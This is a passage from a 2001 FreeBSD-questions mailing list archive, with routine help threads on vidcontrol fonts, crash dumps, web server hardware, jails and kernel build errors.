Anthony Atkielski wrote: > > Look at what is listed in the "size" column from > > _vidcontrol -i mode_ > > > > i.e. 40x25, 132x43, etc. > > those are exactly the "keywords" you are looking for and > > exactly what you were told the first time. > > And that's exactly what doesn't work. In the list of valid modes produced by > the command, one contains "132x50" in the "size" column. However, when I try to > specify this, I get > > freebie# vidcontrol 132x50 > vidcontrol: cannot set videomode: Invalid argument By default no font is loaded for modes that have 8x8 characters. Your mode, as shown by the following command is one of these: % vidcontrol -i mode | grep 132 265 (0x109) 0x00000009 T 132x25 8x16 0xb8000 32k 32k 0x00000000 2048k 266 (0x10a) 0x00000009 T 132x43 8x8 0xb8000 32k 32k 0x00000000 2048k If you want to use a mode that uses 8x8 characters, you need to load a font for 8x8 characters first. This is done with vidcontrol too. Just run: % vidcontrol -f 8x8 FONT Where font is the name of a valid 8x8 font. Look at /usr/share/syscons/fonts for the available fonts. On my system these are: % ( cd /usr/share/syscons/fonts ; ls *8x8* ) cp1251-8x8.fnt cp866-8x8.fnt iso08-8x8.fnt cp437-8x8.fnt cp866u-8x8.fnt iso15-8x8.fnt cp437-thin-8x8.fnt iso-8x8.fnt koi8-r-8x8.fnt cp850-8x8.fnt iso02-8x8.fnt koi8-u-8x8.fnt cp850-thin-8x8.fnt iso04-8x8.fnt swiss-8x8.fnt cp865-8x8.fnt iso04-vga9-8x8.fnt cp865-thin-8x8.fnt iso07-8x8.fnt Pick yours, and just load it before trying to change your video mode to 132x50. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 15:55:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id B941037B418 for ; Thu, 22 Nov 2001 15:55:35 -0800 (PST) Received: from hades.hell.gr (patr530-a012.otenet.gr [212.205.215.12]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAMNtVY00670; Fri, 23 Nov 2001 01:55:32 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAMK1sr00867; Thu, 22 Nov 2001 22:01:54 +0200 (EET) (envelope-from charon@labs.gr) Date: Thu, 22 Nov 2001 22:01:54 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011122200153.GB498@hades.hell.gr> References: <15355.2770.644343.846234@guru.mired.org> <01e201c17234$24bc2360$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <01e201c17234$24bc2360$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [ Adding to my previous reply. ] On 2001-11-21 03:27:55, Anthony Atkielski wrote: > > All traps in kernel mode go through a procedure > > that does a core dump before rebooting the > > machine. > > Maybe I missed the dump. Where does it go by default? I looked in what seemed > like likely places, like / and /tmp and what-not, but I didn't see anything that > ended in .core. If the kernel panics, and saves a dump in the swap area, you will see messages like these during the next boot: dumpon: crash dumps to /dev/ad0s3b (116, 262145) Checking for core dump: savecore: reboot after panic: bremfree: bp 0xc2140484 not locked savecore: system went down at Mon Nov 19 13:58:31 2001 Then in /var/crash you will find the dump files, named kernel.N and vmcore.N, where `N' is a number. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 15:55:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 5DEE537B41A for ; Thu, 22 Nov 2001 15:55:36 -0800 (PST) Received: from hades.hell.gr (patr530-a012.otenet.gr [212.205.215.12]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAMNtWY00677; Fri, 23 Nov 2001 01:55:32 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAMJvr600804; Thu, 22 Nov 2001 21:57:53 +0200 (EET) (envelope-from charon@labs.gr) Date: Thu, 22 Nov 2001 21:57:52 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: Mike Meyer , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011122195752.GA498@hades.hell.gr> References: <15355.2770.644343.846234@guru.mired.org> <01e201c17234$24bc2360$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <01e201c17234$24bc2360$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-21 03:27:55, Anthony Atkielski wrote: > Mike writes: > > I have as yet to find a point-n-clicky html or > > xml editor that was as nice as psgml mode in > > emacs. > > Does it also work for C code and Perl and so on? I like something > that handles indents automagically, in particular. Sure. It's so customizable, that new users will tend to drown in an ocean of customizable knobs, in fact. I customarily use emacs to edit plain text files or C, Perl, HTML, SGML, and a ton of other languages. -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16: 0:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tounes.gw.tn (tounes.gw.tn [193.95.50.118]) by hub.freebsd.org (Postfix) with ESMTP id D210537B405 for ; Thu, 22 Nov 2001 16:00:39 -0800 (PST) Received: from tounes.ati.tn (tounes-22.ati.tn [193.95.66.22]) by tounes.tngw.tn (8.8.8/8.8.8) with ESMTP id BAA04687; Fri, 23 Nov 2001 01:01:39 -0100 (GMT) Received: from ensi.rnu.tn ([193.95.37.21]) by localhost.localdomain (8.10.0/8.11.3) with ESMTP id fAMNsAx09286; Fri, 23 Nov 2001 01:54:10 +0200 Message-ID: <3BFD9186.6050801@ensi.rnu.tn> Date: Fri, 23 Nov 2001 01:00:06 +0100 From: Mounir Eddabbabi User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.3) Gecko/20010914 X-Accept-Language: en-us MIME-Version: 1.0 To: freebsd-questions@freebsd.org, Francis Dupont , listserv@freebsd-fr.org Subject: need help : boot failure on FreeBSD-4.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dear sir, I've a FreeBSD-4.0 os, it works well more than one year now. Last day, once my kernel is loaded and has finishing booting, and when it passes control to the user process init, I've get the following message : init : can't exec getty '/usr/libexec/getty' for port /dev/console init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv0 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv1 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv2 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv3 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv4 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv5 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv6 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv7 init : can't exec getty '/usr/libexec/getty' for port /dev/ttyv8 for ever. When I've tried the boot -s, and after checking my file system (fsck) and the mount point of them (mount -a related to the /etc/fstab), every thing seems ok. But when I reboot, I've got the same problem. Can you, please, help me to resolve this problem. PS. I've rebuild the whole system by make worl and reinstalled the newest kernel, but nothing better. With my best regards To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16: 4:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from aviion.alfred.cx (aviion.alfred.cx [150.101.93.190]) by hub.freebsd.org (Postfix) with ESMTP id B00D037B405 for ; Thu, 22 Nov 2001 16:04:30 -0800 (PST) Received: (from andrew@localhost) by aviion.alfred.cx (8.11.3/8.11.3) id fAN04D700563; Fri, 23 Nov 2001 10:34:13 +1030 (CST) (envelope-from andrew) Date: Fri, 23 Nov 2001 10:34:13 +1030 From: Andrew Reid To: Erich Voigt Cc: freebsd-questions@freebsd.org Subject: Re: Website Remote Access? Message-ID: <20011123103413.A533@aviion.alfred.cx> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from erich@ticzone.com on Thu, Nov 22, 2001 at 01:48:29PM +0200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 01:48:29PM +0200, Erich Voigt wrote: > Is there not (a) system(s) out there that I can access and then from there > see what my local websites are performing like???? Something like > traceroute.org but for html ??? What do you mean? Do you want to find out the load that your server(s) are under? Perhaps you'd like to know how many pages / hour your machines are serving up. I can't really give an answer as the question is so ambiguous. Please clarify the question and we'll try and come up with an answer. - andrew -- Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane +61 401 946 813 mittam" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16:12:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mitch.adsl.labyrinth.net.au (mitch.adsl.labyrinth.net.au [202.182.88.14]) by hub.freebsd.org (Postfix) with ESMTP id 0B83537B417 for ; Thu, 22 Nov 2001 16:12:44 -0800 (PST) Received: from mail.mitchells.com.au (ip30.int.mitchells.com.au [192.168.120.30]) by mitch.adsl.labyrinth.net.au (8.11.3/8.11.3) with SMTP id fAN0Bx673997 for ; Fri, 23 Nov 2001 11:11:59 +1100 (EST) (envelope-from jmorgan@mitchells.com.au) Received: by mail.mitchells.com.au(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id 4A256B0D.0005C6DC ; Fri, 23 Nov 2001 11:03:05 +1000 X-Lotus-FromDomain: MITCHELLMELB From: "Julian Morgan" To: freebsd-questions@FreeBSD.ORG Message-ID: <4A256B0D.0005C695.00@mail.mitchells.com.au> Date: Fri, 23 Nov 2001 11:03:03 +1000 Subject: Apache and minimum server requirements Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Would you people please let me know what are your thoughts on the minimum server specs for the following I have a web site that is running freebsd4.3stable it is a personal web site - so there might be 20 hits per day max it has thumb nails - 10 per page, 5K each in a picture gallary... It has 3 cgi scripts , web counter, a program called newspro - which you might have heard - is an automated news message board, and it has cgi password authentication... I will not have this server run anything else - but maybe ssh and ftp - so I can update the code, but squid and sendmail will not be running I was thinking I could get away with a pentium 200 with 64MegRam (maybe 128 - but I don't think so... If you wanna check this site - thats cool, but it is 2 weeks in progress and needs alot of work it is www.starnetwork.isp.com.au Your thoughts would be appriciated - I am going over to england - and would love this site to be running on an adequate machine Regards Julian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16:30:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 5474537B417 for ; Thu, 22 Nov 2001 16:30:08 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAN0TxL29137; Fri, 23 Nov 2001 01:29:59 +0100 (CET) Message-ID: <040801c173b5$fc5f66b0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <035e01c1722a$8a37f340$2813933f@cat> <01de01c17230$c3ccf370$0a00000a@atkielski.com> <20011122234941.GD498@hades.hell.gr> Subject: Re: How do I set vidcontrol modes? Date: Fri, 23 Nov 2001 01:29:53 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks. I tried it, and it worked, but the fonts were pretty hard to read on a TFT screen. I ended up staying at 80x25, but changing to the swiss font, since I prefer a sans serif font. ----- Original Message ----- From: "Giorgos Keramidas" To: "Anthony Atkielski" Cc: Sent: Friday, November 23, 2001 00:49 Subject: Re: How do I set vidcontrol modes? > On 2001-11-21 03:03:44, Anthony Atkielski wrote: > > > Look at what is listed in the "size" column from > > > _vidcontrol -i mode_ > > > > > > i.e. 40x25, 132x43, etc. > > > those are exactly the "keywords" you are looking for and > > > exactly what you were told the first time. > > > > And that's exactly what doesn't work. In the list of valid modes produced by > > the command, one contains "132x50" in the "size" column. However, when I try to > > specify this, I get > > > > freebie# vidcontrol 132x50 > > vidcontrol: cannot set videomode: Invalid argument > > By default no font is loaded for modes that have 8x8 characters. Your > mode, as shown by the following command is one of these: > > % vidcontrol -i mode | grep 132 > 265 (0x109) 0x00000009 T 132x25 8x16 0xb8000 32k 32k 0x00000000 2048k > 266 (0x10a) 0x00000009 T 132x43 8x8 0xb8000 32k 32k 0x00000000 2048k > > If you want to use a mode that uses 8x8 characters, you need to load a font for > 8x8 characters first. This is done with vidcontrol too. Just run: > > % vidcontrol -f 8x8 FONT > > Where font is the name of a valid 8x8 font. Look at /usr/share/syscons/fonts > for the available fonts. On my system these are: > > % ( cd /usr/share/syscons/fonts ; ls *8x8* ) > cp1251-8x8.fnt cp866-8x8.fnt iso08-8x8.fnt > cp437-8x8.fnt cp866u-8x8.fnt iso15-8x8.fnt > cp437-thin-8x8.fnt iso-8x8.fnt koi8-r-8x8.fnt > cp850-8x8.fnt iso02-8x8.fnt koi8-u-8x8.fnt > cp850-thin-8x8.fnt iso04-8x8.fnt swiss-8x8.fnt > cp865-8x8.fnt iso04-vga9-8x8.fnt > cp865-thin-8x8.fnt iso07-8x8.fnt > > Pick yours, and just load it before trying to change your video mode to 132x50. > > -giorgos > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16:30:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 5B08B37B405 for ; Thu, 22 Nov 2001 16:30:48 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAN0UiJ29315; Fri, 23 Nov 2001 01:30:45 +0100 (CET) Message-ID: <040d01c173b6$1738e010$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Giorgos Keramidas" Cc: References: <15355.2770.644343.846234@guru.mired.org> <01e201c17234$24bc2360$0a00000a@atkielski.com> <20011122200153.GB498@hades.hell.gr> Subject: Re: home pc use Date: Fri, 23 Nov 2001 01:30:39 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks. Looks like no dump was saved in my mystery case. I guess it will remain a mystery. As long as it doesn't happen again, I don't care. ----- Original Message ----- From: "Giorgos Keramidas" To: "Anthony Atkielski" Cc: Sent: Thursday, November 22, 2001 21:01 Subject: Re: home pc use > [ Adding to my previous reply. ] > > On 2001-11-21 03:27:55, Anthony Atkielski wrote: > > > All traps in kernel mode go through a procedure > > > that does a core dump before rebooting the > > > machine. > > > > Maybe I missed the dump. Where does it go by default? I looked in what seemed > > like likely places, like / and /tmp and what-not, but I didn't see anything that > > ended in .core. > > If the kernel panics, and saves a dump in the swap area, you will see > messages like these during the next boot: > > dumpon: crash dumps to /dev/ad0s3b (116, 262145) > Checking for core dump: > savecore: reboot after panic: bremfree: bp 0xc2140484 not locked > savecore: system went down at Mon Nov 19 13:58:31 2001 > > Then in /var/crash you will find the dump files, named kernel.N and > vmcore.N, where `N' is a number. > > -giorgos > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16:35:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 90C6737B405 for ; Thu, 22 Nov 2001 16:35:17 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAN0YtJ01663; Fri, 23 Nov 2001 01:34:55 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <041601c173b6$ad26d550$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Julian Morgan" , References: <4A256B0D.0005C695.00@mail.mitchells.com.au> Subject: Re: Apache and minimum server requirements Date: Fri, 23 Nov 2001 01:34:54 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Virtually any machine you care to set up would handle a load like that very easily. Even an old used PC would do just fine. A Pentium 200 is more than enough; I have my Web site running with a similar system, and it takes perhaps a quarter million page hits a day, and it is shared with other sites, and yet it keeps up with no problem at all. In England you're more likely to go broke paying for the telecommunications costs than for the system itself. That's one reason why I still have my site hosted by someone else: I could easily buy a machine adequate to the task, but I could never afford to pay for the bandwidth that a large web-hosting company can offer. ----- Original Message ----- From: "Julian Morgan" To: Sent: Friday, November 23, 2001 02:03 Subject: Apache and minimum server requirements > > > Would you people please let me know what are your thoughts on the minimum server > specs for the following > > I have a web site that is running freebsd4.3stable > it is a personal web site - so there might be 20 hits per day max > it has thumb nails - 10 per page, 5K each in a picture gallary... > It has 3 cgi scripts , web counter, a program called newspro - which you > might have heard - is an automated news message board, > and it has cgi password authentication... > > I will not have this server run anything else - but maybe ssh and ftp - so > I can update the code, but squid and sendmail will not be running > > I was thinking I could get away with a pentium 200 with 64MegRam (maybe 128 > - but I don't think so... > > > If you wanna check this site - thats cool, but it is 2 weeks in progress > and needs alot of work > it is www.starnetwork.isp.com.au > > Your thoughts would be appriciated - I am going over to england - and would love > this site to be running on an adequate machine > > Regards > Julian > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16:38:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailin3.email.bigpond.com (mailin3.bigpond.com [139.134.6.34]) by hub.freebsd.org (Postfix) with ESMTP id B795C37B417 for ; Thu, 22 Nov 2001 16:38:46 -0800 (PST) Received: from server.vicyouth.com ([144.135.24.78]) by mailin3.email.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GN8A3C00.HU5; Fri, 23 Nov 2001 10:45:12 +1000 Received: from CTPP-p-144-134-43-238.prem.tmns.net.au ([144.134.43.238]) by bwmam04.mailsvc.email.bigpond.com(MailRouter V2.9k 8329/21526363); 23 Nov 2001 10:38:30 Received: from h204.vicyouth.com (ephesus [192.168.230.204]) by server.vicyouth.com (8.11.3/8.11.3) with ESMTP id fAN0b2o43227; Fri, 23 Nov 2001 00:37:06 GMT (envelope-from jacob@vicyouth.com) Message-Id: <5.0.0.25.2.20011123113110.00a98db0@vicyouth.com> X-Sender: jacob@vicyouth.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Fri, 23 Nov 2001 11:35:56 -0800 To: "Julian Morgan" , freebsd-questions@freebsd.org From: Jacob Rhoden Subject: Re: Apache and minimum server requirements In-Reply-To: <4A256B0D.0005C695.00@mail.mitchells.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, For that I am quite sure you would have no problems running on a 486 with 16meg of ram unless you plan to do some heavy processing with like php+mysql or something like that. Regards, Jacob Rhoden At 11:03 AM 23/11/01 +1000, you wrote: > it is a personal web site - so there might be 20 hits per day max > I was thinking I could get away with a pentium 200 with 64MegRam > (maybe 128 "As for me and my house, we Jacob Rhoden will serve the Lord" jj@f3z.net (Joshua 24:15) 0403 788 386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16:39:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.droso.net (koala.droso.net [193.162.142.122]) by hub.freebsd.org (Postfix) with ESMTP id 13C3337B417 for ; Thu, 22 Nov 2001 16:39:26 -0800 (PST) Received: by mail.droso.net (Postfix, from userid 1001) id D1D605BD9; Fri, 23 Nov 2001 01:39:24 +0100 (CET) Date: Fri, 23 Nov 2001 01:39:24 +0100 From: Erwin Lansing To: freebsd-questions@freebsd.org Subject: Re: chroot() vs jail() Message-ID: <20011123013924.C97770@mail.droso.net> References: <20011122114433.A21619@crb-web.com> <20011122121741.E29254@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011122121741.E29254@xor.obsecurity.org>; from kris@obsecurity.org on Thu, Nov 22, 2001 at 12:17:41PM -0800 X-Operating-System: FreeBSD/i386 4.4-STABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 12:17:41PM -0800, Kris Kennaway wrote: > On Thu, Nov 22, 2001 at 11:44:33AM -0500, Wayne Cuddy wrote: > > It appears that jail provides some added functionality over chroot. Can anyone > > explain the differences between jail/chroot and when you would choose one over > > the other? > > Try reading the manpages and the mailing list archives; it's described well. > The white paper is really good reading http://docs.freebsd.org/44doc/papers/jail/jail.html -- Erwin Lansing -- http://droso.org I love deadlines. -- Douglas Adams I love the whooshing sound they make as the fly by. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 16:49:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mitch.adsl.labyrinth.net.au (mitch.adsl.labyrinth.net.au [202.182.88.14]) by hub.freebsd.org (Postfix) with ESMTP id C3FB537B416 for ; Thu, 22 Nov 2001 16:49:41 -0800 (PST) Received: from mail.mitchells.com.au (ip30.int.mitchells.com.au [192.168.120.30]) by mitch.adsl.labyrinth.net.au (8.11.3/8.11.3) with SMTP id fAN0mh674300; Fri, 23 Nov 2001 11:48:43 +1100 (EST) (envelope-from jmorgan@mitchells.com.au) Received: by mail.mitchells.com.au(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id 4A256B0D.0009209D ; Fri, 23 Nov 2001 11:39:41 +1000 X-Lotus-FromDomain: MITCHELLMELB From: "Julian Morgan" To: "Anthony Atkielski" Cc: freebsd-questions@FreeBSD.ORG Message-ID: <4A256B0D.00091F4D.00@mail.mitchells.com.au> Date: Fri, 23 Nov 2001 11:39:36 +1000 Subject: Re: Apache and minimum server requirements Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG thanks for that - Yep there are some pentium 166's at my work that I might be able to get ahold - before they become door stops, and to think that BSD is nice and low level and clean enough - to run fantastic things like web hosting - while windows gear seems to be forever searching for more hardware resources... Love it... Anth - thanks for the informed email - and in reply to the bandwidth, yeh going to be pritty much like renting a house over there... But in anycase - I am getting my ISP over here to house the web site for me... I can't see to many problems with that - and me being over the other side of the world moving around here and there... Besides the machine blowing up - and I have trained a network admin guy at my work - so if the ISP happens to change IPs or something - he should be able to go over to the ISP get into rc.conf and all that - and do some basic changes... Just got to ghost the hard drive when the site is done, incase of hard-drive crash and that should be it Regards and thanks again Julian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 17: 7:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zapper.org (gso26-96-004.triad.rr.com [66.26.96.4]) by hub.freebsd.org (Postfix) with ESMTP id CC39F37B417 for ; Thu, 22 Nov 2001 17:07:13 -0800 (PST) Received: (from Zapper@localhost) by zapper.org (8.11.6/8.9.3) id fAN15Vm43473 for freebsd-questions@FreeBSD.ORG; Thu, 22 Nov 2001 20:05:31 -0500 (EST) (envelope-from Zapper) Message-Id: <200111230105.fAN15Vm43473@zapper.org> Content-Type: text/plain; charset="iso-8859-1" From: FoxSurfer Sys Admin Organization: FoxSurfer.Com To: freebsd-questions@FreeBSD.ORG Subject: Problem with building kernel. Date: Thu, 22 Nov 2001 20:05:31 -0500 X-Mailer: KMail [version 1.3] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm running 4.4 Stable and I'm getting the following error with 'make' after I do 'make depend' in ../../compile/mykernel I've tried doing a 'make clean' and starting over but I keep getting the same error. I'll only post part of it since it seems to be doing it to every file in /usr/src/sys/modules/linux/../../i386/linux/ ===> linux cc -c -O -pipe -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi /usr/src/sys/modules/linux/../../i386/linux/linux_genassym.c sh @/kern/genassym.sh linux_genassym.o > linux_assym.h cc -c -x assembler-with-cpp -DLOCORE -O -pipe -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi /usr/src/sys/modules/linux/../../i386/linux/linux_locore.s -o linux_locore.o cc -O -pipe -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -c /usr/src/sys/modules/linux/../../i386/linux/linux_dummy.c ... etc. *** Error code 1 Stop in /usr/src/sys/modules/linux. *** Error code 1 Stop in /usr/src/sys/modules. *** Error code 1 Stop in /usr/src/sys/compile/ZAPPER. hopefully this is enough info ... I'd hate to get flamed if it isn't ... I tried to find any prior mailings concerning this but couldn't. If anyone could point me in the right direction I'd appreciate it. Respectfully Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 17:13:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts19-srv.bellnexxia.net (tomts19.bellnexxia.net [209.226.175.73]) by hub.freebsd.org (Postfix) with ESMTP id 58CC437B405 for ; Thu, 22 Nov 2001 17:13:43 -0800 (PST) Received: from prayforwind.com ([199.243.146.213]) by tomts19-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id 